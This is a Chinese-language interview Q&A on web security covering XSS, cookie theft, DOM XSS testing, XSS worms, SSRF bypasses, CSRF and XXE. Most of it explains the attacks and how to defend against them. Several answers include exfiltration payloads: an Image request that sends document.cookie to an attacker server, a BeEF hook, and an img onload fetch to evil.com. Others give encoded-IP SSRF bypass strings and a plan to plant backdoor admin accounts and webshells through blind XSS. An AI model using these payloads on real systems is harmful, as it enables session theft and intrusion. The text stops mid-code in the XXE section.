1、XSS 的原理?XSS 的类型?
“XSS(跨站脚本攻击)的本质确实是 ‘数据与代码未分离’,但从更深层来看,它是‘浏览器信任机制的滥用’。当攻击者将恶意脚本(通常是 JavaScript)注入到网页中时,由于浏览器无法分辨哪些是后端原本的合法脚本,哪些是用户注入的恶意脚本,就会一并执行。这导致攻击者可以 在受害者的浏览器上下文中 执行任意操作,比如窃取 Cookie、劫持会话、甚至配合 CSRF 进行组合攻击。
关于 XSS 的类型,在实战和漏洞挖掘中,通常按 数据流向和存储状态 将其分为三种,它们在触发机制上有着本质区别:
1. 存储型 XSS(持久化 – 危害最大):
- 原理: 恶意代码被后端服务器永久存储在了数据库中(比如个人资料、评论区留言)。当任何用户浏览该页面时,后端将恶意代码从数据库取出,未经过滤直接拼接在 HTML 中返回给前端执行。
- 实战特点: 它是 被动触发 的,也就是常说的“打哪指哪”,不需要诱导受害者点击特定链接。因为受众广,常常被用来编写 XSS 蠕虫(如早期的贴吧蠕虫)或进行大规模的凭证窃取。
2. 反射型 XSS(非持久化 – 钓鱼利器):
- 原理: 恶意代码没有写入数据库,而是存在于 HTTP 请求的参数中(如 URL 的 GET 参数)。后端接收到参数后,原封不动地将其“反射”在 HTTP 响应的 HTML 中。
- 实战特点: 它是 主动触发 的,必须通过社工手段诱导受害者点击构造好的恶意链接才能生效。在黑盒测试中,通常会寻找搜索框、报错提示语等会回显用户输入的地方进行探测。
3. DOM 型 XSS(纯前端逻辑漏洞):
- 原理: 这种类型 完全不需要后端的参与。它的核心是前端 JavaScript 代码在处理数据时存在缺陷。当攻击者控制了前端的输入点(Source,如
location.hash、window.name),并且这些数据被传递到了危险的执行点(Sink,如innerHTML、document.write、eval())时就会触发。 - 实战特点: 在实战挖掘中,DOM 型 XSS 最大的特点是 抓包是看不到恶意代码的,因为恶意 payload 可能只存在于 URL 的
#号后面(Fragment),这部分数据根本不会发送给服务器。我们需要通过代码审计或者浏览器的开发者工具进行调试追踪才能发现。
2、XSS 有 cookie 一定可以无用户名密码登录吗?
不一定。 虽然 XSS 经常被用来窃取会话,但在现代企业级安全防御体系下,拿到 Cookie 到最终实现‘免密登录(会话劫持)’之间,还隔着好几道防线。在实战中,哪怕触发了 XSS 并读到了 Cookie,通常会面临以下四个维度的阻碍:
第一关:能不能拿到核心的认证 Cookie?(HttpOnly 防御)
很多时候用 document.cookie 弹出来的只是一些像 _ga 这样的前端统计 / 广告 Cookie。现代 Web 应用为了防御 XSS,通常会将真正用于身份认证的 Cookie(比如 JSESSIONID、PHPSESSID)设置为 HttpOnly。一旦设置了这个属性,前端 JavaScript 就根本无法读取它,XSS 也就偷不到核心登录凭证了。
第二关:拿到了认证 Cookie,后端认不认?(风控与环境绑定)
退一步说,就算网站没配 HttpOnly,偷到了 Session ID。当把这个 Cookie 复制到我的攻击机上尝试登录时,往往会被后端的风控策略拦截。因为安全的系统会在服务端进行 环境绑定,例如校验当前请求的 IP 地址、User-Agent 甚至浏览器指纹,是否和最初生成这个 Session 时的一致。一旦发现 IP 跨省了,或者 UA 变了,后端会直接销毁会话,强制要求重新输入密码。
第三关:Cookie 是否还有效?(生命周期与状态)
这涉及到会话的有效性。可能受害者在触发 XSS 后很快点击了‘退出登录’(后端销毁了 Session),或者这个 Cookie 本身设置了极短的闲置超时时间(Idle Timeout)。等拿着窃取到的 Cookie 去利用时,它可能已经失效了。
第四关:现代架构下的认证介质转移(Token 机制 / MFA)
现在很多前后端分离的项目,根本不使用 Cookie 来维持登录状态,而是采用 JWT(JSON Web Token)并将 Token 存在 LocalStorage 或 SessionStorage 中。这种情况下只偷 Cookie 是毫无意义的。此外,即便拿到了登录态,如果是执行修改密码、转账等高危操作,系统还会触发二次验证(MFA/ 短信验证码),单纯拿捏 Cookie 依然无法控制核心权限。
3、什么是 HttpOnly?
HttpOnly 是 HTTP 响应头 Set-Cookie 中的一个附加属性 / 标记(Flag)。它的核心作用是 指示浏览器禁止通过客户端脚本(如 JavaScript 的 document.cookie)来访问该 Cookie。
在实战攻防中,它的机制和意义体现在以下三个层面:
1. 运行机制:
当后端服务器在颁发登录凭证时,如果设置了 Set-Cookie: session_id=xxx; HttpOnly,浏览器收到后会将其存起来。当用户继续与服务器交互发起 HTTP 请求时,浏览器会自动将这个 Cookie 放在请求头里发给服务器,确保业务正常流转。但是,如果此时前端 JS 代码尝试运行 console.log(document.cookie),是绝对看不到这个带有 HttpOnly 标记的 Cookie 的。
2. 核心防御价值:
它的主要目的是 缓解 XSS(跨站脚本攻击)带来的会话劫持危害。因为 XSS 攻击最常见的变现手法就是通过 JS 窃取用户的 Session ID,然后回传给攻击者的服务器。有了 HttpOnly,哪怕网站存在 XSS 漏洞,攻击者的 JS 代码也“偷”不到核心的登录票据,从而保住了用户的账号控制权。
3. 局限性
不过在实战中,我们也要清楚 HttpOnly 的局限性:
- 首先,它不能防止 XSS 漏洞本身的发生。攻击者虽然偷不到 Cookie,但依然可以通过 XSS 劫持用户的操作(比如在受害者浏览器里直接发起转账的 Ajax 请求)。
- 其次,它防不了 CSRF(跨站请求伪造)攻击。因为 CSRF 利用的恰恰是‘浏览器发请求时会自动带上 Cookie’这一机制。要防 CSRF,我们还需要配合
SameSite属性或者使用 Token 机制。”
4、如何设计相对安全的 cookie 自动登录系统?
第一,绝对不能在 Cookie 里直接存用户的明文账号密码 。比较安全的做法是,用户勾选自动登录后,后端生成一个 随机的 Token(或者 Session ID)发给前端。后端数据库里记录这个 Token 对应的用户是谁,并且给它设置一个合理的过期时间(比如 7 天),过期了就必须重新登录。
第二,是给 Cookie 加上 安全属性,这是前端防线。
- 必须加上
HttpOnly属性,这样就算网站有 XSS 漏洞,黑客也无法通过 JS 偷走这个登录凭证。 - 最好加上
Secure属性,保证这个 Cookie 只能在 HTTPS 环境下传输,防止在公共 Wi-Fi 下被抓包窃听。
第三,在业务逻辑上要做 权限保护 。就算黑客真的偷到了 Cookie 进了后台,当他想进行 改密码、绑定手机号、转账 这些敏感操作时,系统应该再次弹出一个验证框,要求输入原密码或者短信验证码。这样就能把损失降到最低。
第四:严格的生命周期与设备管理
- 设置绝对的过期时间(例如最长 30 天必须重新强制登录)。
- 在用户端的“账号安全中心”提供 设备管理功能(类似微信的登录设备列表),允许用户手动踢下线(远程销毁服务端对应的 Token 记录)。
5、localStorage 和 sessionStorage 区别?
它们俩都是 HTML5 提供的浏览器本地存储机制,都不在服务器上,主要的区别在于 生命周期 和作用域:
第一,生命周期不同(最核心的区别):
localStorage是持久化存储。 只要用户不手动去清理浏览器缓存,或者前端代码不写清除逻辑,存里面的数据就 永远都在,哪怕关掉浏览器、重启电脑也不会消失。sessionStorage是会话级存储。 它的生命周期和 当前的浏览器标签页(Tab)绑定。只要你把当前这个网页的标签页关了,里面的数据就瞬间清空了。
第二,作用域不同:
localStorage在同一个浏览器的多个标签页之间是可以共享的(只要是同源 / 同一个网站)。sessionStorage是标签页隔离的,哪怕你在两个标签页打开了同一个网站,它们的sessionStorage也是互相独立、不共享的。
6、XSS 如何盗取 cookie?
XSS 盗取 Cookie 主要是利用了前端 JS 代码的执行权限。在实战或者靶场练习中,一般会分为以下几个步骤来实现:
第一步:确认前提条件
首先,必须找到一个 XSS 注入点(比如存在反射型或存储型的输入框)。同时,还有一个硬性前提:目标网站的关键 Cookie 没有设置 HttpOnly 属性。如果设置了,JS 是根本读不到的。
第二步:构造核心 Payload(读取并外带)
如果条件满足,可在输入点插入一段恶意的 JS 代码。这段代码的核心逻辑分两步:
- 先用
document.cookie这个 API 读取到当前用户的 Cookie 数据。 - 然后利用 JS 发起网络请求,把这段数据“外带”到黑客控制的服务器上。
最经典的手法是利用图片请求来外带数据,因为 <img> 标签发起 GET 请求是不受跨域限制的。比如构造这样一段代码:<script> new Image().src = "http:// 黑客服务器 IP/log?cookie=" + document.cookie; </script>
当受害者浏览这个页面时,浏览器会悄悄向服务器请求一张图片,同时就把 Cookie 当作参数带过来了。
第三步:利用自动化工具(实战运用)
当然,在实际操作中,为了方便管理,通常不用手写这么原始的代码,而是会使用 XSS 接收平台(比如 BlueLotus 蓝莲花) 或者 BeEF 这样的工具。
只需要在注入点插入一个类似 <script src="http:// 黑客服务器 /hook.js"></script> 的标签,受害者的浏览器就会去加载并执行这个 hook 脚本,平台就会自动帮我们把 Cookie 收集回来,甚至还能获取对方的浏览器版本、操作系统等更多信息。
7、DOM 型和反射型 XSS 的区别?
它们最大的区别就在于‘数据流向’和‘是否有后端参与’。在实战测试中,它们的表现完全不同:
第一,原理和触发机制不同:
- 反射型 XSS 必须经过后端。 它是客户端把带有恶意 payload 的参数发给服务器,服务器接收后,原封不动地拼接在 HTML 里“反射”回给浏览器,浏览器再去渲染执行。
- DOM 型 XSS 是纯前端的漏洞,完全不需要后端参与。 它的本质是网页里的 JavaScript 代码写得有问题。JS 从前端的某个输入点(比如 URL 参数)获取了数据,然后没有经过任何过滤,直接用
innerHTML或document.write这种危险方法渲染到了页面上。
第二,在抓包测试(流量)上的区别:
- 测 反射型 XSS 时,用 BurpSuite 抓包,能在 HTTP 请求和后端的 HTTP 响应包 里清清楚楚地看到插入的恶意代码。
- 但测DOM 型 XSS 时,很多恶意代码可能只是跟在 URL 的
#(井号 / 哈希值)后面。因为浏览器的机制,#后面的内容是根本不会发送给后端服务器的。所以在 BurpSuite 的抓包历史里,是绝对看不到这段 payload 的响应的。
第三,挖掘方法的不同:
- 挖反射型主要靠在各个搜索框、参数里疯狂 fuzz(模糊测试),看回显。
- 挖 DOM 型由于抓包看不见,一般会按
F12打开浏览器的开发者工具,去看它的 JS 代码(也就是代码审计),或者用浏览器的调试功能追踪它的数据流向。
8、DOM 型 XSS 自动化测试或人工测试方法?
因为 DOM 型 XSS 是纯前端漏洞,很多 payload 不会发送到服务器,所以传统的、只发 HTTP 请求的扫描器是很难测出来的。在实战中,一般会结合人工和专门的工具来测:
首先是人工测试方法(最常用):
主要靠 ‘前端代码审计’ 和‘浏览器 F12 调试’。
重点在 JavaScript 代码里寻找两个东西:Source(输入点) 和 Sink(执行点)。
- 找 Source(输入点): 看看前端 JS 是不是从
location.hash(URL 井号后面的值)、location.search(URL 参数)或者document.referrer里获取了数据。 - 找 Sink(执行点): 顺着这些数据流向往下看,看这些数据有没有未经实体编码过滤,就直接交给了
innerHTML、document.write()或者eval()这些危险函数去执行。
如果发现了这个完整的调用链,就可以在浏览器里构造特定的 URL,按 F12 打开开发者工具,通过断点调试或者观察 Elements(元素)面板,看 payload 有没有被成功渲染出来。
其次是自动化测试方法:
因为传统的发包工具不管用,所以现在测试 DOM 型 XSS 必须依赖 真正的浏览器环境 来解析 JS。
- 使用专门的插件(比如 Burp 官方的 DOM Invader): 这是 BurpSuite 内置浏览器自带的一个专门挖 DOM XSS 的神器。打开它之后,它会自动把一些探测用的金丝雀(Canary)字符注入到网页的各种 Source 里,然后实时监控这些字符有没有流入危险的 Sink 函数。如果有,它会直接高亮报警,非常方便。
- 使用带‘无头浏览器(Headless Browser)’的动态扫描器: 比如最新版的 AWVS 或者高级商业扫描器,它们后台会偷偷启动一个真实的 Chrome 浏览器去执行页面上的所有 JS 代码,以此来触发隐藏的 DOM 漏洞。
- 静态代码扫描(SAST): 如果能拿到前端源码,可以直接用 Semgrep 这类代码白盒审计工具,写规则直接扫描 JS 文件里危险函数的调用。
9、如果给你一个 XSS 盲打漏洞,但是返回来的信息显示,他的后台是在内网,并且只能使用内网访问,那么你怎么利用这个 XSS?
遇到这种情况,虽然作为攻击者在外网进不去内网,但 触发 XSS 的那个管理员是在内网的 。所以核心思路是: 利用 XSS 把管理员的浏览器变成我们在内网的‘跳板’或‘代理’。
具体在实战中,会分三步来进行利用:
第一步:‘看’到内网后台(信息收集与页面外带)
既然进不去,就让 JS 把后台页面‘搬’出来给我看。可以会构造一段 JS 代码,利用 document.body.innerHTML 读取当前后台页面的完整 HTML 源码,或者利用 html2canvas 这个 JS 库直接把后台页面截个图,然后通过发请求(比如图片外带)发送到攻击者在外网的 XSS 接收平台。这样,虽然在外网,但就能知道内网后台长什么样、有哪些功能菜单了。
第二步:伪造管理员操作(打点 / 拿权限)
通过上一步拿到后台页面后,分析后台有哪些敏感功能。比如,在发现后台有一个‘添加管理员’的接口,或者有一个‘上传系统升级包’的地方。就可以修改 XSS Payload,让 JS 利用 Ajax(fetch / XMLHttpRequest)以管理员的身份和 Cookie 悄悄发起一个请求,偷偷创建一个后门账号,或者直接传一个 Webshell 到内网服务器上。
第三步:将浏览器作为内网扫描器
如果后台本身没什么可利用的,可以使用BeEF。只要管理员点开含有 payload 的页面,他的浏览器就会被 BeEF‘Hook(勾住)’,变成一个僵尸节点。利用 BeEF 内置的脚本,可以控制管理员的浏览器去扫描内网里其他的 IP 和端口,看看内网里有没有其他脆弱的路由器或 Web 服务,实现初步的内网信息收集。
10、对于 XSS 怎么修补建议?
针对 XSS 漏洞的修复,业界通常提倡 ‘纵深防御’ 的策略,也就是从代码逻辑到浏览器层面建立多道防线。常规的修复建议通常包含以下四个维度:
第一:最根本的防御——输出编码与转义(Output Encoding)
这是防御 XSS 最核心的一步。在将任何用户不可信的数据渲染到 HTML 页面之前,必须进行严格的实体转义。
- 例如在 PHP 中,通常会使用
htmlspecialchars()函数,将<、>、'、"等特殊字符转换为 HTML 实体(如<)。这样浏览器在解析时,只会把它们当成普通文本显示,而不会当成 JavaScript 代码执行。
第二:辅助防线——输入过滤与校验(Input Validation)
在数据进入系统(如数据库)之前,通常需要对数据进行清洗。
- 最佳实践是采用 白名单机制。比如一个年龄字段,就只允许输入数字;一个 URL 字段,就必须以
http/https开头。对于富文本编辑器这种必须允许 HTML 标签存在的场景,通常会引入专门的防 XSS 过滤库(如 DOMPurify)来清洗危险标签(如<script>、<iframe>)和事件属性(如onerror)。
第三:现代防御标准——内容安全策略(CSP)
这是目前非常推荐的浏览器端防御机制。可以在 HTTP 响应头中配置 Content-Security-Policy。
- 通过配置 CSP,可以严格限制浏览器只能加载指定域名的 JS 脚本,并且可以完全禁止内联脚本(Inline scripts)和危险函数(如
eval)的执行。这可以在代码存在漏洞的情况下,作为最后一道防线阻断 XSS 的触发。
第四:缓解危害面
如果 XSS 漏洞不幸被触发,可以通过设置安全的 Cookie 属性来降低损失。
- 给关键的会话 Cookie 设置 HttpOnly 属性,可以防止 JS 脚本读取敏感凭证;配合 Secure 属性确保数据在 HTTPS 加密信道传输,从而有效缓解会话劫持的风险。
11、XSS 蠕虫的产生条件?
XSS 蠕虫相比于普通的 XSS 攻击,最大的特征在于它具备 ‘自我复制和链式传播’ 的能力。一般来说,一个 XSS 蠕虫的爆发需要同时满足以下三个核心条件:
第一:必须存在存储型 XSS 漏洞(基础条件)
这是蠕虫赖以生存的‘宿主’。恶意代码必须能够持久化地保存在服务器的数据库中(比如用户的个人简介、留言板、文章内容里),这样才能保证其他用户在访问该页面时被动触发。
第二:平台需要具备高交互的‘社交属性’(环境条件)
就像现实中病毒传播需要人口密集一样,XSS 蠕虫通常发生在具有较高用户活跃度和交互性的平台上,比如微博、贴吧、论坛或大型评论区。用户之间需要有互访主页、看帖、发私信的行为,这样才能形成大面积的交叉感染。
第三:能够利用用户身份进行‘自我复制’(核心驱动力)
这是形成‘蠕虫’的最关键条件。当受害者浏览了包含恶意代码的页面后,这段 JS 代码会利用受害者当前的登录状态 (Cookie/Session),自动在后台发起 HTTP 请求, 代替受害者发布一篇包含同样恶意代码的帖子、或者给列表里的好友发送恶意私信。通过这种方式,‘一传十、十传百’,完成几何级数的裂变传播。
12、在社交类的网站中,哪些地方可能会出现蠕虫?
蠕虫的产生需要两个技术前提:存在存储型 XSS 注入点,且该点的内容能够被其他用户自动触发并再次写入传播(即自我复制)。社交网站中用户生成内容(UGC)多、交互性强,刚好满足条件。
具体可能出现的点包括:
- 个人资料区:用户名、签名、个人简介、头像上传处的文件名或描述,这些内容会在个人主页展示,也会在动态流中曝光,一旦被 XSS 就能随访问扩散。
- 内容发布区:发布的文章、动态、日志、相册说明等,常带有富文本编辑或未过滤的 HTML,容易引入存储型 XSS。
- 互动与留言区:评论区、留言板、点赞后附加的文字、弹幕等,这些内容被其他用户查看时就会触发。
- 私信与站内信:用户间消息体没有严格过滤的话,收件人在列表页或阅读页即触发,且消息可以再发送给更多人,形成链式传播。
- 分享 / 转发功能:转发的短文本、携带的链接标题等,可能将恶意的攻击代码嵌入转发内容中,随着用户的转发而扩散。
- 动态流 / 新鲜事:系统自动生成的站内通知(如‘A 关注了 B’、‘某人赞了你的帖子’),若后台将未转义的用户可控数据直接插入,就可能形成盲打式蠕虫。
以签名栏 XSS 蠕虫为例:攻击者在自己的签名中插入恶意脚本,脚本获取当前登录用户的 cookie 并自动修改其签名。任何访问攻击者个人主页的用户,其签名也会被改写为同样的恶意代码。这样一传十、十传百,即构成典型的社交网络蠕虫。
总结:只要是一个能够存储用户输入、且该输入会被多次展示给其他用户的功能点,同时输出时过滤不严格,就可能成为蠕虫的源头。
13、如果叫你来防御蠕虫,你有哪些方法?
防御蠕虫,可从两个维度构建纵深防御:纵向覆盖‘输入→存储→输出→执行’全链路,横向限制传播能力、提升利用成本。
第一层:输出端彻底转义(核心)
不论数据从哪来,只要拼进 HTML 页面,就必须根据上下文做编码。原则是不让任何用户数据被当作代码执行。比如:
- HTML 标签之间:实体编码
<>&"' - 属性值内:加引号并编码对应字符
- JavaScript 上下文:做
\x或\u编码,并确保外层JSON.stringify等安全处理 - 用模板引擎的自带转义(如 ejs 的
<%= %>),尽量不手拼字符串。
第二层:输入端过滤与白名单(辅助)
输出编码能保底,但有些场景必须允许部分 HTML(如富文本),就需要在入库前或渲染前做清洗:
- 严格白名单:只允许标签如
<b>,<i>,<a>,属性仅保留href且强制加rel="noopener"并校验协议(只允许http/https,禁用javascript:) - 使用成熟的库如
DOMPurify、OWASP AntiSamy - 对于 URL、图片
src等字段,校验格式和协议白名单,防止 XSS viadata:或javascript:
第三层:浏览器端安全策略(CSP 与 Cookie 加固)
- Content-Security-Policy:设置严格的 CSP 响应头,如
default-src 'self'; script-src 'self',禁用内联脚本和eval,即使攻击者注入脚本也大概率无法执行。可以使用nonce或hash来放行合法内联脚本,但必须结合输出编码。 - Cookie 标志:将 Session Cookie 设为
HttpOnly(阻止 JS 读取)和Secure(仅 HTTPS 传输),配合SameSite=Lax/Strict限制跨站携带,这样即使 XSS 成功也难窃取身份凭证。
第四层:传播机制上的遏制(针对蠕虫特征)
蠕虫能自我复制,是因为攻击脚本可以调用写操作 API。因此:
- 敏感操作增加验证:修改签名、发布内容、发私信等写请求,除了 CSRF token 外,可增加图片验证码或滑动验证,尤其是在短时间内高频操作时触发,有效阻断自动化传播。
- 频率限制与行为检测:限制单用户 / 单 IP 在单位时间内修改资料或发消息的次数;对异常快速修改内容、重复内容发布等行为进行告警或临时冻结。
- 内容安全审核:对用户提交的文本、链接进行词法和语义分析,拦截明显的脚本特征(如
<script>,onerror=,javascript:等),但不作为唯一依赖。
第五层:应急响应与事后控制
- 一旦发现疑似蠕虫传播,可立即下线受影响功能、清空可疑数据、重置所有会话,阻止进一步扩散。
- 日志与监控:记录关键操作并建立异常行为仪表盘,便于快速溯源。
14、img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以.jpg 结尾,怎么获取管理员路径?还有其他获取管理员路径的办法吗?
第一,用 onload 与其它事件执行 JS(首选)
虽然 onerror 被干掉了,但还有很多其他事件可以绑在 <img> 上。会优先用 onload,因为只需要图片正常加载就能触发,完全不必依赖用户额外操作。
构造方式例如:
<img src="https://trusted.com/pic.jpg" onload="fetch('http://evil.com/?url='+encodeURIComponent(window.location.href))">
这里 src 指向一张真实存在的 pic.jpg,所以后缀校验通过;onload 触发后,JS 就会把管理员当前页面的完整 URL 发到攻击者服务器,里面就可能包含后台路径 /admin/xxx。
如果 onload 也被过滤,还可以尝试:
- onmouseover:当管理员鼠标划过图片时触发(需要一点社工,比如把图片放在显眼位置)
- ondblclick / onfocus 等少见事件
- 用矢量图标签如
<svg>的 onload 事件,如果能插入的话,可打破<img>的限制
第二,即使完全不能执行 JS,也能“低调带外路径”
如果所有事件都被过滤,不能跑 JS,还可以利用图片 src 的“请求”本身把路径带出来:
<img src="http://evil.com/collect?admin_path=/admin/&fake=.jpg">
后端只需记录 Query String 中的 admin_path 即可。但这个方案需要我们事先猜对一部分路径,然后手动验证,不是自动获取。
更巧妙的是利用浏览器自动发送的 Referer:如果管理员正在后台页面(如 /admin/edit.php),而该页面上插入了我们的 <img src="http://evil.com/track.jpg">,那么我的服务器就能从 Referer 里直接看到 /admin/edit.php,从而得知后台路径。
15、SSRF 漏洞的成因、防御、绕过方式?
成因: SSRF(Server-Side Request Forgery,服务端请求伪造)的根本原因,是服务端对外部输入未做充分校验,直接将其作为访问目标发起请求。常见场景包括:图片远程加载(如 ?url=http://xxx/img.jpg)、URL 的 fetch 功能、文件代理、API 回调、数据库的某些扩展功能等。攻击者提交一个内网地址或特殊协议,服务器就真的去请求,从而成为跳板。
防御: 通常遵循“永远不信任用户输入”的原则,通过以下维度构建分层防御:
- 白名单机制(首选): 如果业务只允许访问某几个域名,就严格匹配域名白名单,且不做 DNS 解析后检查(防 DNS 重绑定)。对于 IP 地址,限制仅允许外网 IP,禁止私有地址、环回地址(
127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)以及特殊地址(0.0.0.0、169.254.169.254等)。 - 禁用危险协议: 只允许
http/https,屏蔽file://、gopher://、dict://、ftp://等可能被滥用的协议。 - 最小权限与网络隔离: 发起请求的服务账号,在内网中不给读取敏感服务(如元数据服务、Redis、MySQL 等)的权限。配置防火墙 / 安全组,限制该服务器只能访问必需的外部资源,禁止访问内网。
- 响应过滤与错误处理: 不直接返回请求的原始内容给用户(避免盲打变回显)。统一错误页面,防止信息泄露(如内网端口开放状态差异)。
- 升级防护方案: 使用带有 SSRF 防御功能的 WAF 或网关,对入站 URL 进行二次审核。
绕过方式(攻防思维): 攻击者会不断试探防御边界,常见手法有:
- 利用 URL 解析差异性: 如
http://127.0.0.1@evil.com/,一些解析库会把@前当作认证信息,实际访问evil.com绕过 IP 黑名单;或使用http://evil.com#@127.0.0.1/欺骗片段标识。 - 进制 / 非十进制 IP 表示: 把
127.0.0.1写成2130706433(十进制整数)、0x7f000001(十六进制)、0177.0.0.1(八进制带前导 0),绕过字符串匹配黑名单。 - DNS 重绑定: 第一次域名解析返回合法外网 IP,通过校验后,攻击者迅速将域名 A 记录改为内网 IP,服务器再去请求时就访问了内网。用白名单做域名校验后就直接请求域名,容易中招。
- 302 跳转绕过: 提交的 URL 先指向一个攻击者控制的外网地址,该地址返回 302 跳转到内网目标(如
http://xxx.xxx.xxx.xxx/)。若服务器自动跟随跳转且不做二次校验,即可打入内网。 - 利用特殊 URL 短链或重定向服务: 将内网地址转换成短链接,提交短链接,服务器跟随跳转后到达内网。
- 协议走私 & CRLF 注入: 如果代码拼接请求头时允许换行符,可注入 HTTP 请求,伪造其他协议(如
gopher打Redis),但前提是协议限制不严。 - DNSLog 带外(无回显时): 无法直接看到响应时,将注入点作为参数,请求自己的 DNSLog 域名,通过 DNS 解析记录来确认漏洞存在,再逐步扩大利用(如读文件、打内网服务)。
- 结合其他漏洞: SSRF 可以和 XXE、CRLF、SQL 注入等组合,比如利用 XXE 的外带数据,或用
gopher协议构造特殊的服务端请求打内网的未授权服务。
总结: 成因是“服务端盲目代理”,防御靠“白名单 + 最小权限 + 网络隔离”的组合拳,绕过则是充分利用解析不一致、跳转和底层协议特性。实际攻防中,即使有了防御,也得持续关注 DNS 重绑定、302 跳转等细节,才可能堵死。
16、CSRF 漏洞的本质是什么?如何防止 CSRF?
本质: CSRF(Cross-Site Request Forgery,跨站请求伪造)的本质是攻击者利用 Web 的“权限自动携带”机制,在用户毫不知情的情况下,以用户的身份伪造恶意请求。具体来说,浏览器在向一个站点发起请求时,会自动带上该站点的 Cookie(如 Session ID)。如果用户登录了 bank.com,浏览器里存了它的 Cookie。这时用户去访问一个恶意页面,该页面里有一个指向 bank.com/transfer 的表单并自动提交,浏览器就会自动带着用户的 Cookie 去请求 bank.com。从服务器的视角看,这是一个带着合法凭证的“正常请求”,无法区分是用户本意,还是被攻击者诱导——这就是 CSRF 的根本成因:服务器对请求来源的“信任过度”。
防御: 防御核心就一句话:让服务器能区分“真实的用户意图”和“伪造的第三方请求”。我会根据场景分几个层次来防:
- Anti-CSRF Token(同步令牌模式,最经典有效): 服务器在返回表单时,生成一个随机、不可预测的 Token,同时存入用户的 Session 里。前端提交时,必须带上这个 Token(放在请求体或 Header 中)。服务器比对 Token 与 Session 中是否一致。因为攻击者的恶意网页无法读取用户银行站点的页面内容(受同源策略限制),也就拿不到这个 Token,请求自然失败。这是防御的核心。
- 验证请求来源(Referer / Origin 头检查): 检查请求头中的 Referer 或 Origin,看是否来自我们自己的站点。恶意网页从外部构造的请求,其来源会是攻击者的域名或为空。可作辅助验证,但因为某些代理或隐私策略可能去掉 Referer,极端情况不能完全依赖它。
- SameSite Cookie 属性(现代浏览器强力手段): 给 Session Cookie 设置
SameSite=Lax(默认行为)或SameSite=Strict。Lax阻止第三方跳转时的敏感请求(如 POST),但不影响点击链接跳转,体验较好;Strict完全禁止跨站时携带 Cookie,最严但也可能影响体验(从站外点链接进来需重新登录)。这一步是从浏览器端直接掐断“权限自动携带”机制,非常强力。 - 敏感操作二次认证: 对于修改密码、转账等核心操作,强制要求用户再次输入密码、刷脸或输入短信验证码。这无法被盗用,是最后一道安全屏障。
- 严格限制请求方法: 确保 GET 请求只用于读取数据,所有增删改的操作都走 POST/PUT/DELETE,不直接通过 GET 接受状态变更,降低简单
<img>、<link>标签触发 GET 型 CSRF 的风险。
17、CSRF、SSRF 和重放攻击有什么区别?
1. CSRF(跨站请求伪造)—— 挟用户以令服务器
- 攻击对象:受害者的浏览器和已登录的站点。
- 本质:攻击者用伪造的页面,诱导受害者亲手向目标网站发起请求。浏览器会自动带上站点
Cookie,让服务器以为这是受害者的本意(比如转账、改密)。 - 谁在动:受害者(的浏览器)。
- 信任出问题在哪:服务器过度信任“带上
Cookie的自动请求”。
2. SSRF(服务端请求伪造)—— 挟服务器以令内网
- 攻击对象:存在漏洞的 Web 服务器本身。
- 本质:攻击者提供恶意构造的
URL,让服务器去代访这个URL。服务器变成跳板,攻击者借它打内网(如访问http://192.168.1.1/admin)或读取云元数据。 - 谁在动:服务器(的请求库或代码)。
- 信任出问题在哪:服务器过度信任“用户提交的
URL/ 地址”。
3. 重放攻击(Replay Attack)—— 复制合法指令以令服务器
- 攻击对象:通信信道上的一段合法数据包。
- 本质:攻击者原封不动地把受害者的请求截获下来,稍后重新发送一份或多份,从而重复执行合法操作(比如同一个支付请求发两次,发两次货)。
- 谁在动:攻击者自己发出请求,但内容完全抄自受害者。
- 信任出问题在哪:服务器过度信任“看起来完全合法的旧数据包”,没有检查请求的时效性或唯一性。
核心区别总结:
| 维度 | CSRF | SSRF | 重放攻击 |
|---|---|---|---|
| 攻击链中的代行者 | 受害用户(浏览器) | 目标服务器 | 攻击者自己(拿着别人的指令) |
| 攻击目标 | 用户已登录的 Web 应用 | 服务器的内网资源 / 权限 | 任何操作接口 |
| 请求的“身体”来源 | 攻击者伪造的(参数由我定) | 攻击者伪造的(URL 由我定) | 完全复制受害者发出的合法请求 |
| 触发条件 | 诱导用户点击恶意链接 / 页面 | 向服务器提交恶意 URL/ 地址 | 窃听或劫持网络流量 |
| 防御方法 | Anti-CSRF Token、SameSite Cookie、验证码 | 白名单、禁用危险协议、网络隔离 | 带随机 Nonce 的签名、时间戳校验、一次性 Token |
18、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式
| 当前漏洞 | 攻击本质 | 攻击者得到什么 | 攻击利用的“信任”点 |
|---|---|---|---|
| CSRF | 伪造请求,借用户身份执行操作 | 在用户已登录站点执行写操作(如转账、改密) | 服务器盲目信任浏览器自动携带的 Cookie |
| XSS | 在受害者浏览器中执行恶意脚本 | 读取页面数据、Cookie、Token,劫持会话并模拟用户 | 网站对用户输入未做输出编码,将数据当脚本执行 |
| XXE | 在服务端 XML 解析时,利用外部实体内联恶意内容 | 读取服务器本地文件、发起 SSRF 内网探测或拒绝服务 | XML 解析器对外部实体引用的不限制 |
修复方式详解: CSRF 是“写操作伪造”,XSS 是“脚本注入”,XXE 是“XML 解析器滥用”。CSRF 和 XSS 经常联动:XSS 可以窃取到 Anti-CSRF Token,进而突破 CSRF 防御。
1. XSS 修复核心:输出编码 + 输入清洗
- 输出编码:在将数据放入 HTML 页面时,根据上下文做转义(HTML 实体编码、JS 编码、URL 编码)。使用安全模板引擎(如 Thymeleaf、Jinja2 自带转义)并避免
innerHTML、document.write。 - 输入清洗:对允许部分 HTML(如富文本)的场景,使用白名单过滤(如
DOMPurify、OWASP AntiSamy),只放行安全标签和属性。 - CSP(内容安全策略):加响应头
Content-Security-Policy: default-src 'self'; script-src 'self',禁止内联脚本,大幅降低 XSS 的成功利用可能。 - Cookie 加固:Session Cookie 设为
HttpOnly(防 JS 读取)、Secure、SameSite=Lax。
2. CSRF 修复核心:Token + SameSite + 二次认证
- Anti-CSRF Token:每次会话生成随机 Token,放在表单隐藏域或请求头,服务端校验,攻击者无法读取。
- SameSite Cookie:设置
SameSite=Lax或Strict,从根本上禁止跨站携带 Cookie。 - Referer/Origin 头校验:检查是否来自可信源(作为辅助,不能单靠)。
- 二次认证:敏感操作要求输入密码或验证码。
- GET 幂等:不用 GET 执行增删改操作。
3. XXE 修复核心:禁用外部实体 + 使用安全解析器
- 直接禁用:这是最彻底的方法。
- Java (DocumentBuilderFactory):
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - PHP (libxml):
libxml_disable_entity_loader(true); - Python (lxml):
